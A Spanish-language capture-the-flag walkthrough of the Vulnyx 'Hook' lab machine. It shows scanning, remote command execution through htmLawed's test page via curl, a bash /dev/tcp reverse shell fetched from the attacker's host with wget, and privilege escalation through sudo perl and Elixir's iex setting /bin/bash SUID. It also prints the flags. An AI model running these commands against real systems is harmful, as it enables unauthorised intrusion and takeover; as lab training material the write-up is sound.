Hook Vulnyx (Easy - Linux)
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>nmap -sCV -p<PORTS> <IP>Info:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-18 04:11 EDT
Nmap scan report for 192.168.5.83
Host is up (0.0015s latency).
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_  256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp   open  http    Apache httpd 2.4.59 ((Debian))
|_http-server-header: Apache/2.4.59 (Debian)
|_http-title: Apache2 Debian Default Page: It works
| http-robots.txt: 1 disallowed entry 
|_/htmLawed
4369/tcp open  epmd    Erlang Port Mapper Daemon
| epmd-info: 
|   epmd_port: 4369
|_  nodes: 
MAC Address: 08:00:27:D7:4F:EC (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.41 secondsVeremos varios puertos interesantes, si entramos en el puerto 80 veremos una pagina web normal de apache2 sin importancia, por lo que vamos a realizar un poco de fuzzing a ver que vemos.
Gobuster
gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 50 -k -rInfo:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.5.83/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 10701]
/.html                (Status: 403) [Size: 277]
/.php                 (Status: 403) [Size: 277]
/robots.txt           (Status: 200) [Size: 34]
/.html                (Status: 403) [Size: 277]
/.php                 (Status: 403) [Size: 277]
Progress: 334217 / 882244 (37.88%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 334335 / 882244 (37.90%)
===============================================================
Finished
===============================================================Veremos que hay un robots.txt si entramos dentro veremos lo siguiente:
User-agent: *
Disallow: /htmLawedVamos a ver que contiene dicho recurso web.
URL = http://<IP>/htmLawedVeremos una web de un software llamado Lawed, vamos a comprobar la version de dicha pagina y buscar algun exploit si lo tuviera.
Escalate user www-data
Si buscamos un poco veremos lo siguiente:
URL = CVE-2022-52023 ExploitDB
URL = Info Vuln
Vemos que se puede realizar un RCE directamente en la pagina, si leemos un poco veremos que la forma de explotarlo es mediante una URL en concreto, pero vamos a descargarnos el archivo y a ejecutarlo de esta forma:
La URL tiene que apuntar a un archivo en concreto que es el vulnerable llamado htmLawedTest.php por lo que leimos en la documentacion.
dos2unix 52023.sh
chmod +x 52023.sh
./52023.sh -u 'http://<IP>/htmLawed/htmLawedTest.php' -c 'whoami'Pero si no os funciona, podemos hacerlo de esta forma tambien:
apt install html2text
curl -s -d "sid=foo&hhook=exec&text=id" -b "sid=foo" "http://<IP>/htmLawed/htmLawedTest.php" | html2text | grep "memory" -A 1 | grep -v "memory"Info:
uid=33(www-data) gid=33(www-data) groups=33(www-data)Veremos que esta funcionando, por lo que vamos a realizar una reverse shell de esta forma:
shell.sh
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'Vamos abrir un servidor de python3 para suministrar el archivo.
python3 -m http.server 80Ahora vamos hacer que se lo descargue la maquina victima.
curl -s -d "sid=foo&hhook=exec&text=wget http://<IP_ATTACKER>/shell.sh" -b "sid=foo" "http://<IP>/htmLawed/htmLawedTest.php" | html2text | grep "memory" -A 1 | grep -v "memory"Echo esto, vamos a ejecutar dicho archivo de esta forma:
curl -s -d "sid=foo&hhook=exec&text=bash shell.sh" -b "sid=foo" "http://<IP>/htmLawed/htmLawedTest.php" | html2text | grep "memory" -A 1 | grep -v "memory"Antes de enviarlo vamos a ponernos a la escucha:
nc -lvnp <PORT>Ahora si enviamos el anterior comando y volvemos a donde tenemos la escucha, veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.5.50] from (UNKNOWN) [192.168.5.83] 37456
bash: cannot set terminal process group (495): Inappropriate ioctl for device
bash: no job control in this shell
www-data@hook:/var/www/html/htmLawed$ whoami
whoami
www-dataVeremos que ha funcionado, por lo que sanitizaremos la shell.
Sanitización de shell (TTY)
script /dev/null -c bash# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>Escalate user noname
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for www-data on hook:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User www-data may run the following commands on hook:
    (noname) NOPASSWD: /usr/bin/perlVemos que podemos ejecutar el binario perl como el usuario noname, por lo que podremos hacer lo siguiente:
sudo -u noname perl -e 'exec "/bin/bash";'Info:
noname@hook:/var/www/html/htmLawed$ whoami
nonameVeremos que seremos dicho usuario, por lo que leeremos la flag del usuario.
user.txt
2ee7e8d7f8f2b515c0bdf19d5ce85e17Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for noname on hook:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User noname may run the following commands on hook:
    (root) NOPASSWD: /usr/bin/iexVemos que podemos ejecutar el binario iex como el usuario root, por lo que podremos hacer lo siguiente:
sudo iexInfo:
Erlang/OTP 25 [erts-13.1.5] [source] [64-bit] [smp:1:1] [ds:1:1:10] [async-threads:1] [jit:ns]
Interactive Elixir (1.14.0) - press Ctrl+C to exit (type h() ENTER for help)
iex(1)>Ahora si hacemos h() para ver el help, en el propio help no veremos nada interesante, pero si buscamos su documentacion, veremos que podremos ejecutar comandos utilizando el siguiente comando System.cmd/2 por lo que haremos esto.
System.cmd("whoami", [])Info:
{"root\n", 0}Veremos que esta funcionando, vamos a establecer con permisos SUID la bash directamente.
System.cmd("chmod", ["u+s", "/bin/bash"])Info:
{"", 0}Ahora vamos a salirnos pulsando Ctrl+C dos veces y si listamos la bash...
ls -la /bin/bashInfo:
-rwsr-xr-x 1 root root 1265648 Apr 23  2023 /bin/bashVeremos que ha funcionado de forma correcta, por lo que haremos esto:
bash -pInfo:
bash-5.2# whoami
rootVeremos que ya seremos root, por lo que leeremos la flag de root.
root.txt
708883f44e1b0e57c8a501e176fad8a9Last updated
